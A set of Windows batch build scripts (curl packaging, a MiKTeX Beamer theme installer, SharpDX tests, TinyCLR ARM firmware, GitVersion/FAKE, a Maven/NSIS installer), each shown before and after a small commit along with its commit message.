:: Copyright 2014-2015 Viktor Szakats <https://github.com/vszakats>
:: See LICENSE.md

@echo off

set _NAM=%~n0
set _NAM=%_NAM:~3%
set _VER=%1
set _CPU=%2

setlocal
pushd "%_NAM%"

:: Build

set ZLIB_PATH=../../zlib
set OPENSSL_PATH=../../openssl
set OPENSSL_INCLUDE=%OPENSSL_PATH%/include
set OPENSSL_LIBPATH=%OPENSSL_PATH%
set OPENSSL_LIBS=-lssl -lcrypto
set LIBSSH2_PATH=../../libssh2
if "%_CPU%" == "win32" set ARCH=w32
if "%_CPU%" == "win64" set ARCH=w64
set CURL_CFLAG_EXTRAS=-DCURL_STATICLIB -fno-ident
set CURL_LDFLAG_EXTRAS=-static-libgcc

mingw32-make mingw32-clean
# Do not link WinIDN in 32-bit builds for Windows XP compatibility (missing normaliz.dll)
if "%_CPU%" == "win32" mingw32-make mingw32-rtmp-ssh2-ssl-sspi-zlib-ldaps-srp-ipv6
if "%_CPU%" == "win64" mingw32-make mingw32-rtmp-ssh2-ssl-sspi-zlib-ldaps-srp-ipv6-winidn

:: Download CA bundle
if not exist ..\ca-bundle.crt curl -R -fsS -L --proto-redir =https https://raw.githubusercontent.com/bagder/ca-bundle/master/ca-bundle.crt -o ..\ca-bundle.crt

:: Make steps for determinism

if exist lib\*.a   strip -p --enable-deterministic-archives -g lib\*.a
if exist lib\*.lib strip -p --enable-deterministic-archives -g lib\*.lib

python ..\peclean.py src\*.exe
python ..\peclean.py lib\*.dll

touch -c src/*.exe        -r CHANGES
touch -c lib/*.dll        -r CHANGES
touch -c ../ca-bundle.crt -r CHANGES
touch -c lib/*.a          -r CHANGES
touch -c lib/*.lib        -r CHANGES

:: Test run

src\curl.exe --version

:: Create package

set _BAS=%_NAM%-%_VER%-%_CPU%-mingw
if not "%APPVEYOR_REPO_BRANCH%" == "master" set _BAS=%_BAS%-test
set _DST=%TEMP%\%_BAS%

xcopy /y /s /q docs\*.              "%_DST%\docs\*.txt"
xcopy /y /s /q docs\*.html          "%_DST%\docs\"
xcopy /y /s /q docs\libcurl\*.html  "%_DST%\docs\libcurl\"
xcopy /y /s /q include\curl\*.h     "%_DST%\include\curl\"
 copy /y       lib\mk-ca-bundle.pl  "%_DST%\"
 copy /y       lib\mk-ca-bundle.vbs "%_DST%\"
 copy /y       CHANGES              "%_DST%\CHANGES.txt"
 copy /y       COPYING              "%_DST%\COPYING.txt"
 copy /y       README               "%_DST%\README.txt"
 copy /y       RELEASE-NOTES        "%_DST%\RELEASE-NOTES.txt"
xcopy /y /s    src\*.exe            "%_DST%\bin\"
xcopy /y /s    lib\*.dll            "%_DST%\bin\"
 copy /y       ..\ca-bundle.crt     "%_DST%\bin\curl-ca-bundle.crt"

 copy /y       ..\openssl\LICENSE   "%_DST%\LICENSE-openssl.txt"
 copy /y       ..\libssh2\COPYING   "%_DST%\COPYING-libssh2.txt"

if exist lib\*.a   xcopy /y /s lib\*.a   "%_DST%\lib\"
if exist lib\*.lib xcopy /y /s lib\*.lib "%_DST%\lib\"

unix2dos -k %_DST:\=/%/*.txt
unix2dos -k %_DST:\=/%/docs/*.txt

touch -c %_DST:\=/%/docs/examples     -r CHANGES
touch -c %_DST:\=/%/docs/libcurl/opts -r CHANGES
touch -c %_DST:\=/%/docs/libcurl      -r CHANGES
touch -c %_DST:\=/%/docs              -r CHANGES
touch -c %_DST:\=/%/include/curl      -r CHANGES
touch -c %_DST:\=/%/include           -r CHANGES
touch -c %_DST:\=/%/lib               -r CHANGES
touch -c %_DST:\=/%/bin               -r CHANGES
touch -c %_DST:\=/%                   -r CHANGES

call ..\pack.bat
call ..\upload.bat

popd
endlocal

:: Copyright 2014-2015 Viktor Szakats <https://github.com/vszakats>
:: See LICENSE.md

@echo off

set _NAM=%~n0
set _NAM=%_NAM:~3%
set _VER=%1
set _CPU=%2

setlocal
pushd "%_NAM%"

:: Build

set ZLIB_PATH=../../zlib
set OPENSSL_PATH=../../openssl
set OPENSSL_INCLUDE=%OPENSSL_PATH%/include
set OPENSSL_LIBPATH=%OPENSSL_PATH%
set OPENSSL_LIBS=-lssl -lcrypto
set LIBSSH2_PATH=../../libssh2
if "%_CPU%" == "win32" set ARCH=w32
if "%_CPU%" == "win64" set ARCH=w64
set CURL_CFLAG_EXTRAS=-DCURL_STATICLIB -fno-ident
set CURL_LDFLAG_EXTRAS=-static-libgcc

mingw32-make mingw32-clean
:: Do not link WinIDN in 32-bit builds for Windows XP compatibility (missing normaliz.dll)
if "%_CPU%" == "win32" mingw32-make mingw32-rtmp-ssh2-ssl-sspi-zlib-ldaps-srp-ipv6
if "%_CPU%" == "win64" mingw32-make mingw32-rtmp-ssh2-ssl-sspi-zlib-ldaps-srp-ipv6-winidn

:: Download CA bundle
if not exist ..\ca-bundle.crt curl -R -fsS -L --proto-redir =https https://raw.githubusercontent.com/bagder/ca-bundle/master/ca-bundle.crt -o ..\ca-bundle.crt

:: Make steps for determinism

if exist lib\*.a   strip -p --enable-deterministic-archives -g lib\*.a
if exist lib\*.lib strip -p --enable-deterministic-archives -g lib\*.lib

python ..\peclean.py src\*.exe
python ..\peclean.py lib\*.dll

touch -c src/*.exe        -r CHANGES
touch -c lib/*.dll        -r CHANGES
touch -c ../ca-bundle.crt -r CHANGES
touch -c lib/*.a          -r CHANGES
touch -c lib/*.lib        -r CHANGES

:: Test run

src\curl.exe --version

:: Create package

set _BAS=%_NAM%-%_VER%-%_CPU%-mingw
if not "%APPVEYOR_REPO_BRANCH%" == "master" set _BAS=%_BAS%-test
set _DST=%TEMP%\%_BAS%

xcopy /y /s /q docs\*.              "%_DST%\docs\*.txt"
xcopy /y /s /q docs\*.html          "%_DST%\docs\"
xcopy /y /s /q docs\libcurl\*.html  "%_DST%\docs\libcurl\"
xcopy /y /s /q include\curl\*.h     "%_DST%\include\curl\"
 copy /y       lib\mk-ca-bundle.pl  "%_DST%\"
 copy /y       lib\mk-ca-bundle.vbs "%_DST%\"
 copy /y       CHANGES              "%_DST%\CHANGES.txt"
 copy /y       COPYING              "%_DST%\COPYING.txt"
 copy /y       README               "%_DST%\README.txt"
 copy /y       RELEASE-NOTES        "%_DST%\RELEASE-NOTES.txt"
xcopy /y /s    src\*.exe            "%_DST%\bin\"
xcopy /y /s    lib\*.dll            "%_DST%\bin\"
 copy /y       ..\ca-bundle.crt     "%_DST%\bin\curl-ca-bundle.crt"

 copy /y       ..\openssl\LICENSE   "%_DST%\LICENSE-openssl.txt"
 copy /y       ..\libssh2\COPYING   "%_DST%\COPYING-libssh2.txt"

if exist lib\*.a   xcopy /y /s lib\*.a   "%_DST%\lib\"
if exist lib\*.lib xcopy /y /s lib\*.lib "%_DST%\lib\"

unix2dos -k %_DST:\=/%/*.txt
unix2dos -k %_DST:\=/%/docs/*.txt

touch -c %_DST:\=/%/docs/examples     -r CHANGES
touch -c %_DST:\=/%/docs/libcurl/opts -r CHANGES
touch -c %_DST:\=/%/docs/libcurl      -r CHANGES
touch -c %_DST:\=/%/docs              -r CHANGES
touch -c %_DST:\=/%/include/curl      -r CHANGES
touch -c %_DST:\=/%/include           -r CHANGES
touch -c %_DST:\=/%/lib               -r CHANGES
touch -c %_DST:\=/%/bin               -r CHANGES
touch -c %_DST:\=/%                   -r CHANGES

call ..\pack.bat
call ..\upload.bat

popd
endlocal

fix comment marker [ci skip]

mk-curl.bat: fix comment marker [ci skip]


:: Copyright 2014 by SyneArt <sa@syneart.com>
@echo off&cls&title Install&color 0F&mode con cols=38 lines=10
setlocal enableextensions enabledelayedexpansion
echo.&echo.&echo.&echo.&echo Install ConnectivityLab Theme Now ..
set str=%PATH: =/%&set MiKTeXPath=nul
FOR %%b in ("%str%") DO (
	set nowStr=%%b&set MiKTeXStr=x!nowStr:MiKTeX=!
	if not !MiKTeXStr!==x!nowStr! set MiKTeXPath=!nowStr!
)
if %MiKTeXPath%==nul (
	cls&echo.&echo.&echo.&echo.&echo 請先安裝 MiKTeX, 再執行本安裝
	color E3&set /p=&goto exit
)
set MiKTeXPath=%MiKTeXPath:miktex\bin\=%
set MiKTeXPath=%MiKTeXPath:/= %
if not exist "%MiKTeXPath%tex\latex\beamer\" (
	cls&echo.&echo.&echo.&echo.&echo 請先安裝 Beamer, 再執行本安裝
	color E3&set /p=&goto exit
)
call:copyFile .\themes, *.sty&call:copyFile .\art, *.jpg
initexmf --update-fndb 1>nul 2>nul
if !errorlevel!==1 (
	cls&echo.&echo.&echo.&echo.&echo 請先停止編譯 MiKTeX 專案, 再執行
	color 4C&set /p=&goto exit
)
cls&echo.&echo.&echo.&echo.&echo Install Theme Successful！&color 2A&ping 127.0.0.1 -n 3 >nul&goto exit

:copyFile
FOR /R %~1 %%c in (%~2) DO (
	set themesFile=%%c&set themesFile=!themesFile:%~dp0=!
	copy "%%c" "%MiKTeXPath%tex\latex\beamer\base\!themesFile!" 1>nul 2>nul
)

:exit

Create bctim.bat

Create bctim.bat

First version


@echo off
setlocal
set PATH=C:\Program Files (x86)\Git\bin\;%PATH%
call "C:\Program Files (x86)\Microsoft Visual Studio 12.0\vc\vcvarsall.bat" x86
msbuild /tv:12.0 /p:BuildSignedSharpDX=false /t:RunCertificationTests /verbosity:quiet /clp:ErrorsOnly /fl /flp:Summary;Verbosity=minimal;logfile=BuildErrors.log;Append=true %* d:\Artiom\Projects\SharpDX\SharpDX.build

@echo off
setlocal
set PATH=C:\Program Files (x86)\Git\bin\;%PATH%
call "C:\Program Files (x86)\Microsoft Visual Studio 12.0\vc\vcvarsall.bat" x86
msbuild /tv:12.0 /p:BuildSignedSharpDX=false /t:RunCertificationTests /verbosity:quiet /clp:ErrorsOnly /fl /flp:Summary;Verbosity=minimal;logfile=BuildErrors.log;Append=true %* SharpDX.build

[Build] Fix path to SharpDX.build for certification tests.


@ECHO OFF

SETLOCAL

SET ScriptRoot=%~dp0

IF %ScriptRoot:~-1%==\ SET ScriptRoot=%ScriptRoot:~0,-1%

PUSHD "%ScriptRoot%"

SET Device=%1
SET BuildTarget=%2
SET BuildConfiguration=%3
SET BuildVerbosity=%4
SET GccDirectory=%5

IF "%BuildTarget%" == "" SET BuildTarget=build
IF "%BuildConfiguration%" == "" SET BuildConfiguration=release
IF "%BuildVerbosity%" == "" SET BuildVerbosity=quiet

IF "%Device%" == "FEZ" (
    SET ProcessorPart=STM32F4
    SET ProcessorArchitecture=CortexM4
    SET ImageGenParameters=0x884DED08 0x3671259A 0x08008000 0x00038000
) ELSE (IF "%Device%" == "G30" (
    SET ProcessorPart=STM32F4
    SET ProcessorArchitecture=CortexM4
    SET ImageGenParameters=0x69FA3B0D 0xF754B64C 0x08008000 0x00038000 0x78A2A46B 0xA817BB9F 0x47B6A877 0x57C56E3E
) ELSE (IF "%Device%" == "G80" (
    SET ProcessorPart=STM32F4
    SET ProcessorArchitecture=CortexM4
    SET ImageGenParameters=0x5FB39ABC 0x14EF5B6A 0x08008000 0x000B8000 0x45023756 0xBCBFA856 0x28A347EB 0xCDACEBAF
) ELSE (IF "%Device%" == "FEZCerberus" (
    SET ProcessorPart=STM32F4
    SET ProcessorArchitecture=CortexM4
    SET ImageGenParameters=0x526603B1 0xE16B218D 0x08008000 0x00038000
) ELSE (IF "%Device%" == "Netduino3" (
    SET ProcessorPart=STM32F4
    SET ProcessorArchitecture=CortexM4
) ELSE (IF "%Device%" == "Quail" (
    SET ProcessorPart=STM32F4
    SET ProcessorArchitecture=CortexM4
) ELSE (
    ECHO Unsupported device passed: %Device%
    GOTO :EOF
))))))

IF NOT "%BuildTarget%" == "build" IF NOT "%BuildTarget%" == "cleanbuild" IF NOT "%BuildTarget%" == "clean" IF NOT "%BuildTarget%" == "corebuild" IF NOT "%BuildTarget%" == "corecleanbuild" IF NOT "%BuildTarget%" == "coreclean" (
    ECHO Unsupported target passed: %BuildTarget%
    GOTO :EOF
)

IF NOT "%BuildConfiguration%" == "debug" IF NOT "%BuildConfiguration%" == "release" (
    ECHO Unsupported configuration passed: %BuildConfiguration%
    GOTO :EOF
)

IF NOT EXIST "%GccDirectory%" SET GccDirectory=C:\Program Files (x86)\GNU Tools ARM Embedded\6 2017-q2-update
IF NOT EXIST "%GccDirectory%" SET GccDirectory=C:\Program Files\GNU Tools ARM Embedded\6 2017-q2-update

IF NOT EXIST "%GccDirectory%" (
    ECHO Cannot find GCC. Try passing the directory explicitly like `build.bat device build release normal "C:\Program Files (x86)\GNU Tools ARM Embedded\6 2017-q2-update"`
    GOTO :EOF
)

IF "%GccDirectory:~-1%"=="\" SET "GccDirectory=%GccDirectory:~0,-1%"

IF "%ProcessorArchitecture%" == "CortexM3" (
    SET InstructionType=THUMB2
    SET MCpu=cortex-m3
    SET FloatCompileArguments=
    SET AdditionalIncludes=-I"%ScriptRoot%\CMSIS\CMSIS\Include"
    SET AdditionalDefines=-DPLATFORM_ARM_CORTEX_M3 -D__CORTEX_M3F -DCORTEX_M3 -DCOMPILE_THUMB2
    SET AdditionalAssemblerArguments=--defsym COMPILE_THUMB2=1 -mthumb
    SET AdditionalCompilerArguments=-mthumb
    SET "GccLibrary=%GccDirectory%\arm-none-eabi\lib\thumb\v7-m"
    SET NeedCmsis=1
) ELSE IF "%ProcessorArchitecture%" == "CortexM4" (
    SET InstructionType=THUMB2FP
    SET MCpu=cortex-m4
    SET FloatCompileArguments=-mfloat-abi=hard -mfpu=fpv4-sp-d16
    SET AdditionalIncludes=-I"%ScriptRoot%\CMSIS\CMSIS\Include"
    SET AdditionalDefines=-DPLATFORM_ARM_CORTEX_M4 -D__CORTEX_M4F -DCORTEX_M4 -DCOMPILE_THUMB2
    SET AdditionalAssemblerArguments=--defsym COMPILE_THUMB2=1 -mthumb
    SET AdditionalCompilerArguments=-mthumb
    SET "GccLibrary=%GccDirectory%\arm-none-eabi\lib\thumb\v7e-m\fpv4-sp\hard"
    SET NeedCmsis=1
) ELSE IF "%ProcessorArchitecture%" == "ARM9" (
    SET InstructionType=ARM
    SET MCpu=arm926ej-s
    SET FloatCompileArguments=-mfloat-abi=soft
    SET AdditionalIncludes=
    SET AdditionalDefines=-DCOMPILE_ARM -DPLATFORM_ARM_ARM9
    SET AdditionalAssemblerArguments=--defsym COMPILE_ARM=1
    SET AdditionalCompilerArguments=-marm -mthumb-interwork
    SET "GccLibrary=%GccDirectory%\arm-none-eabi\lib"
)

IF "%NeedCmsis%" == "1" (
    IF NOT EXIST "%ScriptRoot%\CMSIS\ARM.CMSIS.pdsc" (
        ECHO Cannot find CMSIS. Please make sure it is downloaded and extracted to repo_root\CMSIS.
        GOTO :EOF
    )
)

SET AdditionalIncludes=%AdditionalIncludes% -I"%GccDirectory%\lib\gcc\arm-none-eabi\6.3.1\include"
SET AdditionalIncludes=%AdditionalIncludes% -I"%ScriptRoot%\Targets\%ProcessorPart%"
SET AdditionalIncludes=%AdditionalIncludes% -I"%ScriptRoot%\Devices\%Device%"
SET AdditionalIncludes=%AdditionalIncludes% -I"%ScriptRoot%\Core"

SET AdditionalDefines=%AdditionalDefines% -DGCC
SET AdditionalCompilerArguments=-mstructure-size-boundary=8 -fno-exceptions -ffunction-sections -fdata-sections -fshort-wchar -funsigned-char -mlong-calls

IF "%BuildConfiguration%" == "debug" (
    SET AdditionalDefines=%AdditionalDefines% -DDEBUG -D_DEBUG
    SET AdditionalAssemblerArguments=%AdditionalAssemblerArguments% -g
    SET AdditionalCompilerArguments=-O0 -femit-class-debug-always -g3 -ggdb %AdditionalCompilerArguments%
) ELSE (
    SET AdditionalDefines=%AdditionalDefines%
    SET AssemblerCompileArguments=%AdditionalAssemblerArguments%
    SET AdditionalCompilerArguments=-Os %AdditionalCompilerArguments%
)

SET OutputDirectory=%ScriptRoot%\Build\%BuildConfiguration%\%Device%
SET CoreDirectory=%ScriptRoot%\Core
SET CoreLibraryFile=%CoreDirectory%\TinyCLR_%ProcessorArchitecture%.lib
SET CoreHeaderFile=%CoreDirectory%\TinyCLR.h

IF "%BuildTarget%" == "cleanbuild" (
    SET DoClean=1
    SET DoBuild=1
) ELSE IF "%BuildTarget%" == "build" (
    SET DoClean=0
    SET DoBuild=1
) ELSE IF "%BuildTarget%" == "clean" (
    SET DoClean=1
    SET DoBuild=0
)

IF "%DoClean%" == "1" IF EXIST "%OutputDirectory%" (
    RMDIR /S /Q "%OutputDirectory%"
)

IF "%DoBuild%" == "1" (
    IF NOT EXIST "%OutputDirectory%" MD "%OutputDirectory%"

    IF NOT EXIST "%CoreLibraryFile%" (
        ECHO Cannot find the core library file. Please make sure it is downloaded and extracted to repo_root\Core\TinyCLR_%ProcessorArchitecture%.lib.
        GOTO :EOF
    )

    IF NOT EXIST "%CoreHeaderFile%" (
        ECHO Cannot find the core header file. Please make sure it is downloaded and extracted to repo_root\Core\TinyCLR.h.
        GOTO :EOF
    )

    FOR %%A IN ("%ScriptRoot%\Targets\%ProcessorPart%", "%ScriptRoot%\Main") DO (
        PUSHD "%%A"

        FOR /R %%B IN ("*.gcc.s") DO (
            ECHO %%B

            "%GccDirectory%\bin\arm-none-eabi-as.exe" %AdditionalAssemblerArguments% -mcpu=%MCpu% -mlittle-endian %FloatCompileArguments% -o "%OutputDirectory%\%%~nB.obj" "%%B"
        )

        FOR /R %%B IN ("*.cpp") DO (
            ECHO %%B

            "%GccDirectory%\bin\arm-none-eabi-g++.exe" -std=c++11 -xc++ -w -Wabi %AdditionalCompilerArguments% -mcpu=%MCpu% -mlittle-endian %FloatCompileArguments% %AdditionalDefines% %AdditionalIncludes% -o "%OutputDirectory%\%%~nB.obj" -c "%%B"
        )

        POPD
    )

    "%GccDirectory%\bin\arm-none-eabi-g++.exe" -mcpu=%MCpu% -mlittle-endian -nostartfiles %FloatCompileArguments% -Xlinker %AdditionalCompilerArguments% -L "%GccLibrary%" -Wl,-static,--gc-sections,--no-wchar-size-warning,-Map="%OutputDirectory%\tinyclr.map" -specs="%GccLibrary%\nano.specs" -T"%ScriptRoot%\Devices\%Device%\tinyclr_scatterfile_gcc.ldf" "%OutputDirectory%\*.obj" "%CoreLibraryFile%" -o "%OutputDirectory%\tinyclr.axf"

    "%GccDirectory%\bin\arm-none-eabi-objcopy.exe" -S -j ER_FLASH -j ER_RAM_RO -j ER_RAM_RW -O binary "%OutputDirectory%\tinyclr.axf" "%OutputDirectory%\%Device% Firmware.bin"
    "%GccDirectory%\bin\arm-none-eabi-objcopy.exe" -S -R ER_DAT -R ER_CONFIG -O ihex "%OutputDirectory%\tinyclr.axf" "%OutputDirectory%\%Device% Firmware.hex"

    IF NOT "%ImageGenParameters%" == ""  "%ScriptRoot%\imagegen.exe" %ImageGenParameters% "%OutputDirectory%\%Device% Firmware.bin"
)

ECHO Done

POPD

ENDLOCAL

@ECHO OFF

SETLOCAL

SET ScriptRoot=%~dp0

IF %ScriptRoot:~-1%==\ SET ScriptRoot=%ScriptRoot:~0,-1%

PUSHD "%ScriptRoot%"

SET Device=%1
SET BuildTarget=%2
SET BuildConfiguration=%3
SET BuildVerbosity=%4
SET GccDirectory=%5

IF "%BuildTarget%" == "" SET BuildTarget=build
IF "%BuildConfiguration%" == "" SET BuildConfiguration=release
IF "%BuildVerbosity%" == "" SET BuildVerbosity=quiet

IF "%Device%" == "FEZ" (
    SET ProcessorPart=STM32F4
    SET ProcessorArchitecture=CortexM4
    SET ImageGenParameters=0x884DED08 0x3671259A 0x08008000 0x00038000
) ELSE (IF "%Device%" == "G30" (
    SET ProcessorPart=STM32F4
    SET ProcessorArchitecture=CortexM4
    SET ImageGenParameters=0x69FA3B0D 0xF754B64C 0x08008000 0x00038000 0x78A2A46B 0xA817BB9F 0x47B6A877 0x57C56E3E
) ELSE (IF "%Device%" == "G80" (
    SET ProcessorPart=STM32F4
    SET ProcessorArchitecture=CortexM4
    SET ImageGenParameters=0x5FB39ABC 0x14EF5B6A 0x08008000 0x000B8000 0x45023756 0xBCBFA856 0x28A347EB 0xCDACEBAF
) ELSE (IF "%Device%" == "FEZCerberus" (
    SET ProcessorPart=STM32F4
    SET ProcessorArchitecture=CortexM4
    SET ImageGenParameters=0x526603B1 0xE16B218D 0x08008000 0x00038000
) ELSE (IF "%Device%" == "Netduino3" (
    SET ProcessorPart=STM32F4
    SET ProcessorArchitecture=CortexM4
) ELSE (IF "%Device%" == "Quail" (
    SET ProcessorPart=STM32F4
    SET ProcessorArchitecture=CortexM4
) ELSE (
    ECHO Unsupported device passed: %Device%
    GOTO :EOF
))))))

IF NOT "%BuildTarget%" == "build" IF NOT "%BuildTarget%" == "cleanbuild" IF NOT "%BuildTarget%" == "clean" IF NOT "%BuildTarget%" == "corebuild" IF NOT "%BuildTarget%" == "corecleanbuild" IF NOT "%BuildTarget%" == "coreclean" (
    ECHO Unsupported target passed: %BuildTarget%
    GOTO :EOF
)

IF NOT "%BuildConfiguration%" == "debug" IF NOT "%BuildConfiguration%" == "release" (
    ECHO Unsupported configuration passed: %BuildConfiguration%
    GOTO :EOF
)

IF NOT EXIST "%GccDirectory%" SET GccDirectory=C:\Program Files (x86)\GNU Tools ARM Embedded\6 2017-q2-update
IF NOT EXIST "%GccDirectory%" SET GccDirectory=C:\Program Files\GNU Tools ARM Embedded\6 2017-q2-update

IF NOT EXIST "%GccDirectory%" (
    ECHO Cannot find GCC. Try passing the directory explicitly like `build.bat device build release normal "C:\Program Files (x86)\GNU Tools ARM Embedded\6 2017-q2-update"`
    GOTO :EOF
)

IF "%GccDirectory:~-1%"=="\" SET "GccDirectory=%GccDirectory:~0,-1%"

IF "%ProcessorArchitecture%" == "CortexM3" (
    SET InstructionType=THUMB2
    SET MCpu=cortex-m3
    SET FloatCompileArguments=
    SET AdditionalIncludes=-I"%ScriptRoot%\CMSIS\CMSIS\Include"
    SET AdditionalDefines=-DPLATFORM_ARM_CORTEX_M3 -D__CORTEX_M3F -DCORTEX_M3 -DCOMPILE_THUMB2
    SET AdditionalAssemblerArguments=--defsym COMPILE_THUMB2=1 -mthumb
    SET AdditionalCompilerArguments=-mthumb
    SET "GccLibrary=%GccDirectory%\arm-none-eabi\lib\thumb\v7-m"
    SET NeedCmsis=1
) ELSE IF "%ProcessorArchitecture%" == "CortexM4" (
    SET InstructionType=THUMB2FP
    SET MCpu=cortex-m4
    SET FloatCompileArguments=-mfloat-abi=hard -mfpu=fpv4-sp-d16
    SET AdditionalIncludes=-I"%ScriptRoot%\CMSIS\CMSIS\Include"
    SET AdditionalDefines=-DPLATFORM_ARM_CORTEX_M4 -D__CORTEX_M4F -DCORTEX_M4 -DCOMPILE_THUMB2
    SET AdditionalAssemblerArguments=--defsym COMPILE_THUMB2=1 -mthumb
    SET AdditionalCompilerArguments=-mthumb
    SET "GccLibrary=%GccDirectory%\arm-none-eabi\lib\thumb\v7e-m\fpv4-sp\hard"
    SET NeedCmsis=1
) ELSE IF "%ProcessorArchitecture%" == "ARM9" (
    SET InstructionType=ARM
    SET MCpu=arm926ej-s
    SET FloatCompileArguments=-mfloat-abi=soft
    SET AdditionalIncludes=
    SET AdditionalDefines=-DCOMPILE_ARM -DPLATFORM_ARM_ARM9
    SET AdditionalAssemblerArguments=--defsym COMPILE_ARM=1
    SET AdditionalCompilerArguments=-marm -mthumb-interwork
    SET "GccLibrary=%GccDirectory%\arm-none-eabi\lib"
)

IF "%NeedCmsis%" == "1" (
    IF NOT EXIST "%ScriptRoot%\CMSIS\ARM.CMSIS.pdsc" (
        ECHO Cannot find CMSIS. Please make sure it is downloaded and extracted to repo_root\CMSIS.
        GOTO :EOF
    )
)

SET AdditionalIncludes=%AdditionalIncludes% -I"%GccDirectory%\lib\gcc\arm-none-eabi\6.3.1\include"
SET AdditionalIncludes=%AdditionalIncludes% -I"%ScriptRoot%\Targets\%ProcessorPart%"
SET AdditionalIncludes=%AdditionalIncludes% -I"%ScriptRoot%\Devices\%Device%"
SET AdditionalIncludes=%AdditionalIncludes% -I"%ScriptRoot%\Core"

SET AdditionalDefines=%AdditionalDefines% -DGCC
SET AdditionalCompilerArguments=-mstructure-size-boundary=8 -fno-exceptions -ffunction-sections -fdata-sections -fshort-wchar -funsigned-char -mlong-calls

IF "%BuildConfiguration%" == "debug" (
    SET AdditionalDefines=%AdditionalDefines% -DDEBUG -D_DEBUG
    SET AdditionalAssemblerArguments=%AdditionalAssemblerArguments% -g
    SET AdditionalCompilerArguments=-O0 -femit-class-debug-always -g3 -ggdb %AdditionalCompilerArguments%
) ELSE (
    SET AdditionalDefines=%AdditionalDefines%
    SET AssemblerCompileArguments=%AdditionalAssemblerArguments%
    SET AdditionalCompilerArguments=-Os %AdditionalCompilerArguments%
)

SET OutputDirectory=%ScriptRoot%\Build\%BuildConfiguration%\%Device%
SET CoreDirectory=%ScriptRoot%\Core
SET CoreLibraryFile=%CoreDirectory%\TinyCLR_%ProcessorArchitecture%.lib
SET CoreHeaderFile=%CoreDirectory%\TinyCLR.h

IF "%BuildTarget%" == "cleanbuild" (
    SET DoClean=1
    SET DoBuild=1
) ELSE IF "%BuildTarget%" == "build" (
    SET DoClean=0
    SET DoBuild=1
) ELSE IF "%BuildTarget%" == "clean" (
    SET DoClean=1
    SET DoBuild=0
)

IF "%DoClean%" == "1" IF EXIST "%OutputDirectory%" (
    RMDIR /S /Q "%OutputDirectory%"
)

IF "%DoBuild%" == "1" (
    IF NOT EXIST "%OutputDirectory%" MD "%OutputDirectory%"

    IF NOT EXIST "%CoreLibraryFile%" (
        ECHO Cannot find the core library file. Please make sure it is downloaded and extracted to repo_root\Core\TinyCLR_%ProcessorArchitecture%.lib.
        GOTO :EOF
    )

    IF NOT EXIST "%CoreHeaderFile%" (
        ECHO Cannot find the core header file. Please make sure it is downloaded and extracted to repo_root\Core\TinyCLR.h.
        GOTO :EOF
    )

    FOR %%A IN ("%ScriptRoot%\Targets\%ProcessorPart%", "%ScriptRoot%\Main") DO (
        PUSHD "%%A"

        FOR /R %%B IN ("*.gcc.s") DO (
            ECHO %%B

            "%GccDirectory%\bin\arm-none-eabi-as.exe" %AdditionalAssemblerArguments% -mcpu=%MCpu% -mlittle-endian %FloatCompileArguments% -o "%OutputDirectory%\%%~nB.obj" "%%B"
        )

        FOR /R %%B IN ("*.cpp") DO (
            ECHO %%B

            "%GccDirectory%\bin\arm-none-eabi-g++.exe" -std=c++11 -xc++ -w %AdditionalCompilerArguments% -mcpu=%MCpu% -mlittle-endian %FloatCompileArguments% %AdditionalDefines% %AdditionalIncludes% -o "%OutputDirectory%\%%~nB.obj" -c "%%B"
        )

        POPD
    )

    "%GccDirectory%\bin\arm-none-eabi-g++.exe" -mcpu=%MCpu% -mlittle-endian -nostartfiles %FloatCompileArguments% -Xlinker %AdditionalCompilerArguments% -L "%GccLibrary%" -Wl,-static,--gc-sections,--no-wchar-size-warning,-Map="%OutputDirectory%\tinyclr.map" -specs="%GccLibrary%\nano.specs" -T"%ScriptRoot%\Devices\%Device%\tinyclr_scatterfile_gcc.ldf" "%OutputDirectory%\*.obj" "%CoreLibraryFile%" -o "%OutputDirectory%\tinyclr.axf"

    "%GccDirectory%\bin\arm-none-eabi-objcopy.exe" -S -j ER_FLASH -j ER_RAM_RO -j ER_RAM_RW -O binary "%OutputDirectory%\tinyclr.axf" "%OutputDirectory%\%Device% Firmware.bin"
    "%GccDirectory%\bin\arm-none-eabi-objcopy.exe" -S -R ER_DAT -R ER_CONFIG -O ihex "%OutputDirectory%\tinyclr.axf" "%OutputDirectory%\%Device% Firmware.hex"

    IF NOT "%ImageGenParameters%" == ""  "%ScriptRoot%\imagegen.exe" %ImageGenParameters% "%OutputDirectory%\%Device% Firmware.bin"
)

ECHO Done

POPD

ENDLOCAL

Remove gcc option that is not need

Remove gcc option that is not need


REM If GitVersion is not available then run
REM cinst GitVersion.Portable
REM to install it
GitVersion.exe /output buildserver  /exec scripts\lib\FAKE\tools\Fake.exe /execArgs "scripts\build.fsx %1" /l console

REM If GitVersion is not available then run
REM cinst GitVersion.Portable
REM to install it
GitVersion.exe /output buildserver  /exec scripts\lib\FAKE\tools\Fake.exe /execArgs "scripts\build.fsx %1 %2 %3 %4 %5 %6 %7 %8 %9 " /l console

Allow more arguments to fake

Allow more arguments to fake


echo on
call mvn clean package
if %errorlevel% == 1 pause
if %errorlevel% == 1 goto end

echo on
for /F "delims== tokens=1,2" %%F in (target\maven-archiver\pom.properties) do set %%F=%%G

if x%NSIS_HOME%x == xx Echo Could not generate Windows Setup as NSIS_HOME is not set.
if x%NSIS_HOME%x == xx goto error_nsis

%NSIS_HOME%\makensis /DdisplayVersion=%version% src/main/nsis/windows-setup.nsi
if %errorlevel% == 1 goto error_nsis

Echo Finished.

goto end

rem prepare for signing
:error_sdk
echo off
echo install windows 10 SDK via https://visualstudio.microsoft.com/
echo and component Windows 10 SDK
echo and set WIN10_SDK_HOME=C:\Program Files (x86)\Windows Kits\10\bin\10.0.18362.0\x86
goto end

:error_nsis
echo off
Echo Error on NSIS. Maybe that helps:
Echo Download nsis-3.04-log.zip from https://sourceforge.net/projects/nsis/files/NSIS%203/3.04/
Echo Unzip it and refer it via set NSIS_HOME=C:\programs\nsis-3.04-log
goto end

:end

echo on
git pull
rmdir c:\temp\escape-from-intranet /s /q
mkdir c:\temp\escape-from-intranet\src
xcopy *.* c:\temp\escape-from-intranet
xcopy src\*.* c:\temp\escape-from-intranet\src /s

pushd c:\temp\escape-from-intranet
call mvn clean package
if %errorlevel% == 1 pause
if %errorlevel% == 1 goto end

echo on
for /F "delims== tokens=1,2" %%F in (target\maven-archiver\pom.properties) do set %%F=%%G

if x%NSIS_HOME%x == xx Echo Could not generate Windows Setup as NSIS_HOME is not set.
if x%NSIS_HOME%x == xx goto error_nsis

%NSIS_HOME%\makensis /DdisplayVersion=%version% src/main/nsis/windows-setup.nsi
if %errorlevel% == 1 goto error_nsis

copy target\*.jar c:\temp /y
